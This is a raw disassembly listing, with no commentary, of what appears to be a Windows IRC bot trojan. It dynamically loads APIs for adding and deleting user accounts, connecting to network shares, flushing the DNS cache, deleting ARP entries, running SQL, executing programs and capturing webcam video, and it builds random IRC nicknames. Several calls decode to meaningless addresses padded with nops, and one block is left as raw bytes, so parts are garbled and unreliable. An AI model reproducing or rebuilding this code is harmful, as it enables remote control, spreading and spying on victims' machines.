aNetuseradd ; "NetUserAdd" push edi mov dword_4CAEA0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CAE4C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CAE3C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CAED4, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CAFCC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CAF84, eax call esi cmp dword_4CAE68, ebx mov dword_4CAEA8, eax jz short loc_40A582 cmp dword_4CAE40, ebx jz short loc_40A582 cmp dword_4CAEB8, ebx jz short loc_40A582 cmp dword_4CAEEC, ebx jz short loc_40A582 cmp dword_4CB004, ebx jz short loc_40A582 cmp dword_4CAEA0, ebx jz short loc_40A582 cmp dword_4CAE4C, ebx jz short loc_40A582 cmp dword_4CAE3C, ebx jz short loc_40A582 cmp dword_4CAED4, ebx jz short loc_40A582 cmp dword_4CAFCC, ebx jz short loc_40A582 cmp dword_4CAF84, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j nop call near ptr 26908FFh mov dword_4CB070, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB06C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CAE90, eax call esi cmp dword_4CAE90, ebx mov dword_4CAF6C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j call near ptr 26908FFh nop mov dword_4CB078, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB074, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CAFF0, eax call esi cmp dword_4CAFF0, ebx mov dword_4CAFEC, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj nop call near ptr 26908FFh mov dword_4CB080, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB07C, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB01C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB014, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CAFDC, eax call esi cmp dword_4CB01C, ebx mov dword_4CAEAC, eax jz short loc_40A68A cmp dword_4CB014, ebx jz short loc_40A68A cmp dword_4CAFDC, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j call near ptr 26908FFh nop mov dword_4CB088, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB084, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CAEE0, eax call esi cmp dword_4CAEE0, ebx mov dword_4CAFE8, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj nop call near ptr 26908FFh mov dword_4CB090, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB08C, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CAFB0, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CAFFC, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CAF38, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CAEF0, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CAF90, eax call esi cmp dword_4CAFB0, ebx mov dword_4CAF00, eax jz short loc_40A772 cmp dword_4CAFFC, ebx jz short loc_40A772 cmp dword_4CAF38, ebx jz short loc_40A772 cmp dword_4CAEF0, ebx jz short loc_40A772 cmp dword_4CAF90, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j nop call near ptr 26908FFh mov dword_4CB098, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB094, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CAEC4, eax call esi cmp dword_4CAEC4, ebx mov dword_4CAFA4, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j nop call near ptr 26908FFh mov dword_4CB0A0, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB09C, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB034, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB038 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB03C, esi jz short loc_40A84A push dword_4CB040 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB044, esi jz short loc_40A87E push dword_4CB048 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB04C, esi jz short loc_40A8B2 push dword_4CB050 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB054, esi jz short loc_40A8E6 push dword_4CB058 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB05C, esi jz short loc_40A91A push dword_4CB060 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB064, esi jz short loc_40A94E push dword_4CB068 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB06C, esi jz short loc_40A982 push dword_4CB070 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB074, esi jz short loc_40A9B6 push dword_4CB078 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB07C, esi jz short loc_40A9EA push dword_4CB080 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB084, esi jz short loc_40AA1E push dword_4CB088 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB08C, esi jz short loc_40AA52 push dword_4CB090 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB094, esi jz short loc_40AA86 push dword_4CB098 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB09C, esi jz short loc_40AABA push dword_4CB0A0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D330 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFB4 cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CAFF8 test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CAE90 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CAFF0 mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D544 push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42D520 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CAFF0 cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42D4F0 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42D4C0 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CAFEC inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CAF18 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB0A4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: ___:off_42D590o arg_0 = dword ptr 4 push esi push edi nop call near ptr 26A0617h push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D5F8[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- dw 5756h db 90h db 0E8h, 0EDh, 58h ; --------------------------------------------------------------------------- sub [edx], eax push eax call sub_41B8D8 mov edi, [esp+10h] mov dword ptr [esp], offset asc_42913C ; "-" push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD7B loc_40AD55: ; CODE XREF: ___:0040AD79j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AD55 loc_40AD7B: ; CODE XREF: ___:0040AD53j mov eax, edi pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 26A0617h push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call near ptr 26A0617h nop push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431250 push eax push esi nop call near ptr 26D0000h movsx eax, byte_431250 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: ___:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: ___:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: ___:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: ___:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: ___:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: ___:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 26A0617h push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26E0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_431254 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: ___:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: ___:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D128 mov dword ptr [ebp-94h], 94h call near ptr 26E049Bh nop nop call near ptr 26A0617h push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_43127C loc_40AF34: ; CODE XREF: ___:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_431278 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_431274 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: ___:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_431270 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: ___:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_43126C jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: ___:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_431268 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: ___:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431264 jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: ___:0040AF5Bj ; ___:0040AF6Bj mov esi, offset dword_431260 loc_40AFA0: ; CODE XREF: ___:0040AF3Bj ; ___:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431258 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; CODE XREF: ___:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: ___:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 26A0617h nop xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CAF80 test eax, eax mov eax, offset dword_431288 jnz short loc_40B022 mov eax, offset dword_43D128 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_431280 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CAF80 test eax, eax mov eax, offset dword_431288 jnz short loc_40B04D mov eax, offset dword_43D128 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D58C loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42D604 jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D590[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43DCB0 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CACB0 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43DCB0[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43DEB0[esi], eax and dword_43DEB4[esi], 0 mov eax, [esp+8+arg_8] and dword_43DEB8[esi], 0 mov dword_43DEBC[esi], eax and byte_43DEC8[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; --------------------------------------------------------------------------- byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2E4E4FE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h dd 234h, 0B0FE8147h, 7C004CACh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2B9 cmp esi, 400h jge short loc_40B2B9 imul esi, 234h push edi push ebx push dword_43DEC4[esi] lea edi, dword_43DEC4[esi] nop call near ptr 26A06C2h cmp [edi], ebx jz short loc_40B269 push 1 pop ebp 